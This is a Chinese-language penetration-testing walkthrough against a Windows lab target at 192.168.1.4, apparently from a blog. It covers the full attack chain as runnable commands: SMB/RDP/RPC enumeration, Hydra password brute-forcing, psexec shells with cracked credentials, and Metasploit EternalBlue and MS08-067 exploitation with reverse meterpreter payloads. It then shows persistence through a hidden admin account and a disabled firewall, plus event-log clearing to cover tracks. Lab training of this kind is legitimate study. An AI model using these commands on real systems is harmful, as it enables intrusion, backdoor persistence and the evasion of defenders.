192.168.1.4(Windows 靶机)渗透测试练习全流程(详细步骤)

192.168.1.4(Windows 靶机)渗透测试练习全流程(详细步骤)

一、练习目标

通过对 Windows 靶机(192.168.1.4)的开放服务(SMB、RDP、RPC 等)进行探测、漏洞扫描、暴力破解、权限获取,掌握 Windows 系统渗透测试的核心流程,巩固 Nmap 扫描、Hydra 暴力破解、SMB 服务利用等基础技能。

二、前置准备

  1. 环境确认
    • 本地攻击机:Kali Linux(已安装 Nmap、Hydra、smbclient、Metasploit 等工具,默认自带)。
    • 目标靶机:192.168.1.4(Windows 系统,开放 135、139、445、3389 等端口,网络通畅)。
  2. 工具清单
    • 端口扫描:Nmap(含 NSE 脚本)。
    • 暴力破解:Hydra。
    • SMB 服务交互:smbclient、rpcclient。
    • 漏洞利用:Metasploit Framework(MSF)。
    • 字典文件:Kali 自带字典(/usr/share/wordlists/ 目录下)。

三、第一步:深度探测靶机信息(精准收集目标情报)

1. 确认开放服务及版本(细化 Nmap 扫描)

之前的全端口扫描已获取基础信息,现在针对核心服务(445、135、3389)进行深度探测,获取更详细的版本和配置:

bash

运行

复制代码
# 1. 探测 SMB 服务版本、是否允许匿名登录、共享资源(核心!)
nmap -sV -p 135,139,445 --script=smb-version,smb-anon,smb-share-enum 192.168.1.4

# 2. 探测 RDP 服务版本及配置(是否允许密码登录、支持的加密方式)
nmap -sV -p 3389 --script=rdp-enum-encryption,rdp-vuln-ms12-020 192.168.1.4

# 3. 探测 RPC 服务信息(枚举用户、端口映射等)
nmap -sV -p 135 --script=rpcinfo,rpc-enum-users 192.168.1.4
扫描结果关键分析点:
  • SMB 部分 :关注是否显示 SMBv1 enabled(易受永恒之蓝漏洞攻击)、Anonymous login allowed(匿名登录可用)、Shared folders(开放的共享目录,如 C\(、Admin\) 等默认共享)。
  • RDP 部分 :关注 Security Layer(安全层类型)、Encryption Level(加密级别),是否存在 ms12-020 漏洞(RDP 远程代码执行)。
  • RPC 部分:是否能枚举到用户列表(如 Administrator、admin 等),为后续暴力破解提供用户名。

2. 手动验证 SMB 共享资源(补充 Nmap 扫描结果)

若 Nmap 脚本未获取完整共享信息,用 smbclient 手动枚举:

bash

运行

复制代码
# 匿名枚举共享资源(无需账号密码)
smbclient -L //192.168.1.4 -N

# 若匿名登录失败,尝试空密码登录(部分靶机允许)
smbclient -L //192.168.1.4 -U ""%""
关键输出解读:
  • 若显示 ADMIN$C$IPC$ 等共享目录,说明靶机开启了默认管理员共享(高价值目标)。
  • 若显示 UsersPublic 等共享目录,可能包含用户文件,可尝试访问获取敏感信息。

3. 枚举靶机用户列表(为暴力破解准备用户名)

通过 RPC 服务枚举用户,减少暴力破解的盲目性:

bash

运行

复制代码
# 方法 1:用 rpcclient 匿名枚举(需靶机允许)
rpcclient -U "" 192.168.1.4
# 进入交互界面后,执行用户枚举命令
enumdomusers

# 方法 2:用 Nmap 脚本直接枚举
nmap -p 135 --script=smb-enum-users 192.168.1.4

# 方法 3:若上述失败,使用默认 Windows 用户名字典(Kali 自带)
cat /usr/share/wordlists/metasploit/windows_users.txt > target_users.txt
# 手动补充常见用户名(如 Administrator、admin、user、test 等)
echo -e "Administrator\nadmin\nuser\ntest\nGuest" >> target_users.txt

四、第二步:暴力破解(获取合法登录凭证)

优先破解 SMB 服务(445 端口),因为 SMB 凭证可直接用于文件访问、远程命令执行,甚至 RDP 登录(若靶机开启相关关联)。

1. 准备字典文件(Kali 自带高效字典)

bash

运行

复制代码
# 用户名字典(已在上一步生成 target_users.txt)
# 密码字典:使用 rockyou.txt(需解压,Kali 自带)
gunzip /usr/share/wordlists/rockyou.txt.gz  # 仅首次使用需解压
cp /usr/share/wordlists/rockyou.txt target_pass.txt

# (可选)简化密码字典(适合快速测试,优先弱密码)
head -n 10000 /usr/share/wordlists/rockyou.txt > quick_pass.txt

2. 用 Hydra 暴力破解 SMB 服务

bash

运行

复制代码
# 命令格式:hydra -L 用户名字典 -P 密码字典 smb://目标IP
hydra -L target_users.txt -P quick_pass.txt smb://192.168.1.4 -vV

# 若快速字典失败,用完整 rockyou.txt(耗时较长,建议后台运行)
hydra -L target_users.txt -P target_pass.txt smb://192.168.1.4 -vV -o smb_crack_result.txt &
参数解释:
  • -L:指定用户名字典文件。
  • -P:指定密码字典文件。
  • -vV:详细输出破解过程(实时查看进度)。
  • -o:将破解结果保存到文件(避免遗漏)。
  • &:后台运行(不占用当前终端)。
关键结果:
  • 若破解成功,会显示类似 [445][smb] host: 192.168.1.4 login: Administrator password: 123456 的信息,记录下合法凭证(用户名 + 密码)。

3. (可选)暴力破解 RDP 服务(3389 端口)

若 SMB 破解失败,尝试破解 RDP 服务(Windows 远程桌面):

bash

运行

复制代码
# 命令格式:hydra -L 用户名字典 -P 密码字典 rdp://目标IP
hydra -L target_users.txt -P quick_pass.txt rdp://192.168.1.4 -vV -t 4

# 参数补充:-t 4 表示并发线程数(避免线程过多被靶机拦截)
注意:
  • RDP 暴力破解速度较慢,且部分 Windows 系统会限制登录失败次数(如 5 次后锁定账号),建议优先尝试弱密码字典。

五、第三步:利用合法凭证获取靶机权限

场景 1:SMB 凭证破解成功(优先操作)

1. 访问 SMB 共享目录,窃取敏感信息

bash

运行

复制代码
# 登录管理员共享(如 C$,需管理员权限凭证)
smbclient //192.168.1.4/C$ -U Administrator%123456

# 进入交互界面后,执行文件操作命令
ls  # 查看 C 盘文件
get desktop.ini  # 下载文件到本地(Kali 当前目录)
cd Users/Administrator/Documents  # 进入管理员文档目录
get "重要文件.txt"  # 下载敏感文件
exit  # 退出
2. 通过 SMB 执行远程命令(获取靶机 Shell)

利用 psexec 工具(Kali 自带,需 SMB 凭证)获取交互式 Shell:

bash

运行

复制代码
# 方法 1:使用 impacket 工具集的 psexec(推荐,兼容性好)
# 若未安装 impacket,先安装:sudo apt install impacket -y
psexec.py Administrator:123456@192.168.1.4

# 方法 2:使用 Metasploit 中的 psexec 模块
msfconsole  # 启动 MSF
use exploit/windows/smb/psexec  # 加载模块
set RHOSTS 192.168.1.4  # 设置目标 IP
set SMBUSER Administrator  # 设置用户名
set SMBPASS 123456  # 设置密码
run  # 执行,成功后获取 SYSTEM 权限 Shell
关键结果:
  • 若成功,会获得靶机的 SYSTEM 权限(最高权限),Shell 提示符类似 C:\Windows\system32>,可执行任意系统命令。

场景 2:RDP 凭证破解成功(直接登录桌面)

1. 用 xfreerdp 登录靶机桌面(Kali 自带)

bash

运行

复制代码
# 命令格式:xfreerdp /u:用户名 /p:密码 /v:目标IP
xfreerdp /u:Administrator /p:123456 /v:192.168.1.4

# 若靶机分辨率适配问题,添加分辨率参数
xfreerdp /u:Administrator /p:123456 /v:192.168.1.4 /size:1920x1080
2. 登录后操作(巩固权限与渗透测试)
  • 查看系统信息:winver(确认 Windows 版本)、ipconfig /all(查看网络配置)。
  • 窃取敏感信息:浏览桌面、文档目录,查找密码文件、配置文件。
  • 权限提升(若当前为普通用户):查看 whoami /priv 确认权限,利用 ms17-010 等漏洞提升至 SYSTEM 权限。
  • 植入后门:创建隐藏用户(net user test$ 123456 /add)、开启远程控制服务,方便后续访问。

六、第四步:漏洞利用(无凭证情况下的备选方案)

若暴力破解失败,尝试利用靶机可能存在的已知漏洞(如 SMB 永恒之蓝、RPC 漏洞等)直接获取权限。

1. 检测永恒之蓝漏洞(MS17-010,CVE-2017-0144)

永恒之蓝是 Windows SMBv1 服务的高危漏洞,影响 Windows 7、Server 2008 等系统,可直接获取 SYSTEM 权限:

bash

运行

复制代码
# 方法 1:Nmap 脚本检测
nmap -p 445 --script=smb-vuln-ms17-010 192.168.1.4

# 方法 2:Metasploit 模块检测
msfconsole
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.4
run
若检测到漏洞(显示 VULNERABLE),执行利用:

bash

运行

复制代码
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.4
set PAYLOAD windows/x64/meterpreter/reverse_tcp  # 64 位系统
# 若靶机是 32 位,改用:set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 你的 Kali IP  # 如 192.168.1.3
set LPORT 4444  # 监听端口(可自定义)
run
成功后获取 Meterpreter Shell:
  • 执行 whoami 确认权限(通常为 SYSTEM)。
  • 执行 sysinfo 查看靶机详细信息。
  • 执行 download C:\Users\Administrator\Desktop\敏感文件.txt /root/ 下载文件。

2. 检测 RPC 漏洞(MS08-067,CVE-2008-4250)

影响 Windows XP、Server 2003 等老旧系统,可直接远程代码执行:

bash

运行

复制代码
# Metasploit 检测与利用
msfconsole
use auxiliary/scanner/smb/smb_ms08_067
set RHOSTS 192.168.1.4
run

# 若漏洞存在,执行利用
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 192.168.1.4
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 你的 Kali IP
set LPORT 4445
run

七、第五步:权限巩固与痕迹清理(模拟真实渗透)

1. 权限巩固(确保后续可再次访问)

bash

运行

复制代码
# 1. 创建隐藏管理员用户(Meterpreter Shell 中执行)
net user hack$ P@ssw0rd /add  # 用户名 hack$ 带 $ 隐藏
net localgroup administrators hack$ /add  # 加入管理员组

# 2. 开启 RDP 服务(若未开启)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

# 3. 关闭 Windows 防火墙(避免后续连接被拦截)
netsh advfirewall set allprofiles state off

2. 痕迹清理(删除操作日志,隐藏渗透痕迹)

bash

运行

复制代码
# 1. 清除 Windows 事件日志(Meterpreter Shell 中)
clearev

# 2. 删除 SMB 登录日志(可选)
del C:\Windows\System32\winevt\Logs\Security.evtx
del C:\Windows\System32\winevt\Logs\System.evtx

# 3. 退出 Meterpreter Shell
exit

八、常见问题与排查(复习重点)

问题现象 可能原因 解决方法
Hydra 破解 SMB 显示 host is down 靶机防火墙拦截 445 端口;SMB 服务未启动 nmap -p 445 192.168.1.4 确认端口状态;靶机本地关闭防火墙
smbclient 登录失败:NT_STATUS_ACCESS_DENIED 凭证错误;靶机禁止匿名登录;共享目录权限限制 重新检查凭证;尝试管理员权限凭证;换其他共享目录(如 Public)
永恒之蓝利用失败:Exploit failed [no-target] 靶机系统版本不兼容(如 Windows 10/11);SMBv1 未开启 sysinfo 确认靶机系统版本;靶机本地开启 SMBv1(仅测试用)
RDP 登录失败:CredSSP encryption oracle remediation Windows 安全更新导致的加密协议不兼容 方法 1:靶机关闭 CredSSP 限制(注册表修改);方法 2:Kali 用 xfreerdp /u:xxx /p:xxx /v:xxx /cert:ignore 忽略证书验证
Meterpreter Shell 断开连接 网络不稳定;靶机杀软拦截 改用 reverse_https payload(抗防火墙);set PAYLOAD windows/meterpreter/reverse_https

九、练习总结与扩展

1. 核心技能收获

  • 掌握 Windows 靶机核心服务(SMB、RDP、RPC)的探测方法。
  • 熟练使用 Hydra 进行暴力破解,理解字典选择的重要性。
  • 学会利用 SMB 凭证获取 Shell、RDP 登录的实战流程。
  • 掌握永恒之蓝、MS08-067 等经典漏洞的检测与利用。

2. 扩展练习方向

  • 尝试破解靶机的其他服务(如 FTP、HTTP 后台登录)。
  • 利用 Meterpreter 进行后渗透测试(如内网横向移动、密码哈希窃取)。
  • 练习 Windows 权限提升(如利用系统漏洞、错误配置、SUID 二进制文件)。
  • 模拟防御方:在靶机上开启防火墙、安装杀软,练习绕过防御的渗透方法。

3. 安全提醒

  • 本练习仅适用于 个人测试环境,禁止对未授权的生产环境、公共网络设备进行渗透测试,否则需承担法律责任。
  • 测试完成后,及时清理靶机上的后门用户、关闭危险服务,恢复靶机原始配置。

按以上步骤逐步操作,可完整覆盖 Windows 靶机渗透测试的核心流程,从信息收集到权限获取,再到权限巩固,形成完整的实战逻辑链,适合反复练习巩固。

相关推荐
yaoxin5211232 小时前
237. Java 集合 - 对 List 元素进行排序
java·windows
yaoxin5211232 小时前
236. Java 集合 - 使用索引访问 List 元素
java·windows·list
GLAB-Mary2 小时前
HCIE最优规划路线:如何系统性学习华为认证?
学习·华为·华为认证·hcie·数通
月下倩影时3 小时前
视觉学习——卷积与神经网络:从原理到应用(量大管饱)
人工智能·神经网络·学习
DY009J3 小时前
如何在Ubuntu虚拟机中设置Samba共享,并在Windows宿主机中挂载为网络驱动器
网络·windows·ubuntu
d111111111d3 小时前
STM32外设学习-串口数据包笔记-(程序)
笔记·stm32·单片机·嵌入式硬件·学习
怣疯knight3 小时前
搜狗输入法在vecode中打出的是繁体,在其他软件打出的都是简体的解决办法
windows
zhoutanooi4 小时前
安卓bp文件编译学习
android·学习
蓝桉~MLGT5 小时前
Python学习历程——Python面向对象编程详解
开发语言·python·学习